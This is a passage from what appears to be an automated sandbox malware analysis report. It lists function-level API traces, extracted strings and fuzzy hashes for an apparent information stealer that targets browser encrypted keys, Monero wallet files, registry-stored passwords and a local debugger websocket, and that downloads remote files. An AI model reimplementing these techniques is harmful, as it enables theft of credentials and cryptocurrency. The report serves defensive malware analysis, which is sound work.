                                        • Part of subcall function 005FA430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005FA489
                                        • Part of subcall function 005FA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005FA13C
                                        • Part of subcall function 005FA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005FA161
                                        • Part of subcall function 005FA110: LocalAlloc.KERNEL32(00000040,?), ref: 005FA181
                                        • Part of subcall function 005FA110: ReadFile.KERNEL32(000000FF,?,00000000,005F148F,00000000), ref: 005FA1AA
                                        • Part of subcall function 005FA110: LocalFree.KERNEL32(005F148F), ref: 005FA1E0
                                        • Part of subcall function 005FA110: CloseHandle.KERNEL32(000000FF), ref: 005FA1EA
                                        • Part of subcall function 00609550: GlobalAlloc.KERNEL32(00000000,0060462D,0060462D), ref: 00609563
                                      • StrStrA.SHLWAPI(?,00F4F380), ref: 00604643
                                      • GlobalFree.KERNEL32(?), ref: 00604762
                                        • Part of subcall function 005FA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O_,00000000,00000000), ref: 005FA23F
                                        • Part of subcall function 005FA210: LocalAlloc.KERNEL32(00000040,?,?,?,005F4F3E,00000000,?), ref: 005FA251
                                        • Part of subcall function 005FA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O_,00000000,00000000), ref: 005FA27A
                                        • Part of subcall function 005FA210: LocalFree.KERNEL32(?,?,?,?,005F4F3E,00000000,?), ref: 005FA28F
                                      • lstrcat.KERNEL32(?,00000000), ref: 006046F3
                                      • StrCmpCA.SHLWAPI(?,006108D2), ref: 00604710
                                      • lstrcat.KERNEL32(00000000,00000000), ref: 00604722
                                      • lstrcat.KERNEL32(00000000,?), ref: 00604735
                                      • lstrcat.KERNEL32(00000000,00610FA0), ref: 00604744
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
                                      • String ID:
                                      • API String ID: 3541710228-0
                                      • Opcode ID: da23bdbd95a6dd944472e54ca63ee7db448e014c1143ab5c0e8b24d1a831291d
                                      • Instruction ID: a4c1238b688e8a966e6a0861b442be670f85846bb5f2cfa007899abfae3f0940
                                      • Opcode Fuzzy Hash: da23bdbd95a6dd944472e54ca63ee7db448e014c1143ab5c0e8b24d1a831291d
                                      • Instruction Fuzzy Hash: DC7165B6940208ABDB14EBB0DD9AFEE777ABB88300F004598F60597181EB75DB48CF55
                                      Function 005F1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 005F12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F12B4
                                        • Part of subcall function 005F12A0: RtlAllocateHeap.NTDLL(00000000), ref: 005F12BB
                                        • Part of subcall function 005F12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 005F12D7
                                        • Part of subcall function 005F12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005F12F5
                                        • Part of subcall function 005F12A0: RegCloseKey.ADVAPI32(?), ref: 005F12FF
                                      • lstrcat.KERNEL32(?,00000000), ref: 005F134F
                                      • lstrlen.KERNEL32(?), ref: 005F135C
                                      • lstrcat.KERNEL32(?,.keys), ref: 005F1377
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 00608CF0: GetSystemTime.KERNEL32(00610E1B,00F4EF50,006105B6,?,?,005F13F9,?,0000001A,00610E1B,00000000,?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 00608D16
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                      • CopyFileA.KERNEL32(?,00000000,00000001), ref: 005F1465
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                        • Part of subcall function 005FA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005FA13C
                                        • Part of subcall function 005FA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005FA161
                                        • Part of subcall function 005FA110: LocalAlloc.KERNEL32(00000040,?), ref: 005FA181
                                        • Part of subcall function 005FA110: ReadFile.KERNEL32(000000FF,?,00000000,005F148F,00000000), ref: 005FA1AA
                                        • Part of subcall function 005FA110: LocalFree.KERNEL32(005F148F), ref: 005FA1E0
                                        • Part of subcall function 005FA110: CloseHandle.KERNEL32(000000FF), ref: 005FA1EA
                                      • DeleteFileA.KERNEL32(00000000), ref: 005F14EF
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
                                      • String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
                                      • API String ID: 3478931302-218353709
                                      • Opcode ID: 83c7f9a3dbdab20877fc0a812d02fc0be276d01c3de6e30e47effe407f14ac8e
                                      • Instruction ID: 0c724621cfc61f916320caeddb7333695c62d5be11c6daa18195fa996107cb8c
                                      • Opcode Fuzzy Hash: 83c7f9a3dbdab20877fc0a812d02fc0be276d01c3de6e30e47effe407f14ac8e
                                      • Instruction Fuzzy Hash: 3351447199021997CB58FBA0DD92EEE733DAF54340F4045DCB20A620D2EF705B88CE69
                                      Function 005F9A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON
                                      Download Yara Rule
                                      APIs
                                      • InternetOpenA.WININET(00610AF6,00000001,00000000,00000000,00000000), ref: 005F9A6A
                                      • InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 005F9AAB
                                      • InternetCloseHandle.WININET(00000000), ref: 005F9AC7
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Internet$Open$CloseHandle
                                      • String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
                                      • API String ID: 3289985339-2144369209
                                      • Opcode ID: 67410073e7db985a803a41dfa53110ce2134e4c668bbd90c77c06ed96bcfbae8
                                      • Instruction ID: 43922a3c6671979b60fbdf614b957573d9204296ab4daaccd56a417773385bf6
                                      • Opcode Fuzzy Hash: 67410073e7db985a803a41dfa53110ce2134e4c668bbd90c77c06ed96bcfbae8
                                      • Instruction Fuzzy Hash: F4414E35A50218ABDB14EF94CC95FEE7779BB48740F144059F609AB190CBB4AEC0CF64
                                      Function 005F7630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 005F7330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 005F739A
                                        • Part of subcall function 005F7330: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005F7411
                                        • Part of subcall function 005F7330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005F746D
                                        • Part of subcall function 005F7330: GetProcessHeap.KERNEL32(00000000,?), ref: 005F74B2
                                        • Part of subcall function 005F7330: HeapFree.KERNEL32(00000000), ref: 005F74B9
                                      • lstrcat.KERNEL32(00000000,0061192C), ref: 005F7666
                                      • lstrcat.KERNEL32(00000000,00000000), ref: 005F76A8
                                      • lstrcat.KERNEL32(00000000, : ), ref: 005F76BA
                                      • lstrcat.KERNEL32(00000000,00000000), ref: 005F76EF
                                      • lstrcat.KERNEL32(00000000,00611934), ref: 005F7700
                                      • lstrcat.KERNEL32(00000000,00000000), ref: 005F7733
                                      • lstrcat.KERNEL32(00000000,00611938), ref: 005F774D
                                      • task.LIBCPMTD ref: 005F775B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
                                      • String ID: :
                                      • API String ID: 2677904052-3653984579
                                      • Opcode ID: 58a632c849b69efa7bc34ffc3f27c48bc05aa84a5568cf67b29bd8b6eed02dd6
                                      • Instruction ID: 28fcb35991c08b607e235b29168c1682d3153f188f3d6cc5504105b1596474b7
                                      • Opcode Fuzzy Hash: 58a632c849b69efa7bc34ffc3f27c48bc05aa84a5568cf67b29bd8b6eed02dd6
                                      • Instruction Fuzzy Hash: 10314D7190410DDBDF04EBA0DC99DFF7B7AFB48301B104608F606A72A1DA38A946CF90
                                      Function 00608290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00F4F020,00000000,?,00610E14,00000000,?,00000000), ref: 006082C0
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 006082C7
                                      • GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 006082E8
                                      • __aulldiv.LIBCMT ref: 00608302
                                      • __aulldiv.LIBCMT ref: 00608310
                                      • wsprintfA.USER32 ref: 0060833C
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
                                      • String ID: %d MB$@
                                      • API String ID: 2774356765-3474575989
                                      • Opcode ID: 6ed760c5eac6f40d0efa994038e2d6167a76d5c735e5177e9846f451ccf94cf0
                                      • Instruction ID: e1defb51d3b3e7546efa27be744921419414a6eb5904b98ef9bca4a43d85a46c
                                      • Opcode Fuzzy Hash: 6ed760c5eac6f40d0efa994038e2d6167a76d5c735e5177e9846f451ccf94cf0
                                      • Instruction Fuzzy Hash: D121F7B1A44208ABDB04DFD4CC49FAFB7B9FB44B10F104619F615AB2C0C77859018BA5
                                      Function 005F60F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                        • Part of subcall function 005F4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005F4889
                                        • Part of subcall function 005F4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 005F4899
                                      • InternetOpenA.WININET(00610DFB,00000001,00000000,00000000,00000000), ref: 005F615F
                                      • StrCmpCA.SHLWAPI(?,00F4FD10), ref: 005F6197
                                      • InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 005F61DF
                                      • CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 005F6203
                                      • InternetReadFile.WININET(?,?,00000400,?), ref: 005F622C
                                      • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 005F625A
                                      • CloseHandle.KERNEL32(?,?,00000400), ref: 005F6299
                                      • InternetCloseHandle.WININET(?), ref: 005F62A3
                                      • InternetCloseHandle.WININET(00000000), ref: 005F62B0
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
                                      • String ID:
                                      • API String ID: 2507841554-0
                                      • Opcode ID: 14921c64564865eb7b5851e1c2a95e61f4398616a69bc4a13eb79d5b639d90ce
                                      • Instruction ID: 9551597e9f4071ab3b46c1cc5512f6b29a6af300b8c850766a78087455b1351e
                                      • Opcode Fuzzy Hash: 14921c64564865eb7b5851e1c2a95e61f4398616a69bc4a13eb79d5b639d90ce
                                      • Instruction Fuzzy Hash: A7515DB1A4020CABDB24DFA0CC45FEE7B79BB44301F108499E605A71C1DB74AA89CF99
                                      Function 0067012E Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • type_info::operator==.LIBVCRUNTIME ref: 0067024D
                                      • ___TypeMatch.LIBVCRUNTIME ref: 0067035B
                                      • CatchIt.LIBVCRUNTIME ref: 006703AC
                                      • CallUnexpected.LIBVCRUNTIME ref: 006704C8
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CallCatchMatchTypeUnexpectedtype_info::operator==
                                      • String ID: csm$csm$csm
                                      • API String ID: 2356445960-393685449
                                      • Opcode ID: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
                                      • Instruction ID: b62163f4d34134d762c94253ea899993652f1a1b95da3fd65e4f44153884ac53
                                      • Opcode Fuzzy Hash: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
                                      • Instruction Fuzzy Hash: 14B19E75800209EFEF25DFA4D8819EEB7B6FF04310F14816AE9196B316D331EA51CBA5
                                      Function 005F7330 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 005F739A
                                      • RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005F7411
                                      • StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005F746D
                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 005F74B2
                                      • HeapFree.KERNEL32(00000000), ref: 005F74B9
                                      • task.LIBCPMTD ref: 005F75B5
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$EnumFreeOpenProcessValuetask
                                      • String ID: Password
                                      • API String ID: 775622407-3434357891
                                      • Opcode ID: 79f1324373d5904f0cc45c386ae8a219918a05f49c93486a527ce3c07e0e34b7
                                      • Instruction ID: 3232fba860e2f54259f489c6f2ebc3bcaa378f77cf5caf2a4203b7df04699cb2
                                      • Opcode Fuzzy Hash: 79f1324373d5904f0cc45c386ae8a219918a05f49c93486a527ce3c07e0e34b7
                                      • Instruction Fuzzy Hash: A761F9B590416D9BDB24DB50CC55FEABBB8BF48300F0085E9E649A6141EFB46BC9CF90
                                      Function 005FBA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON
                                      Download Yara Rule
                                      APIs
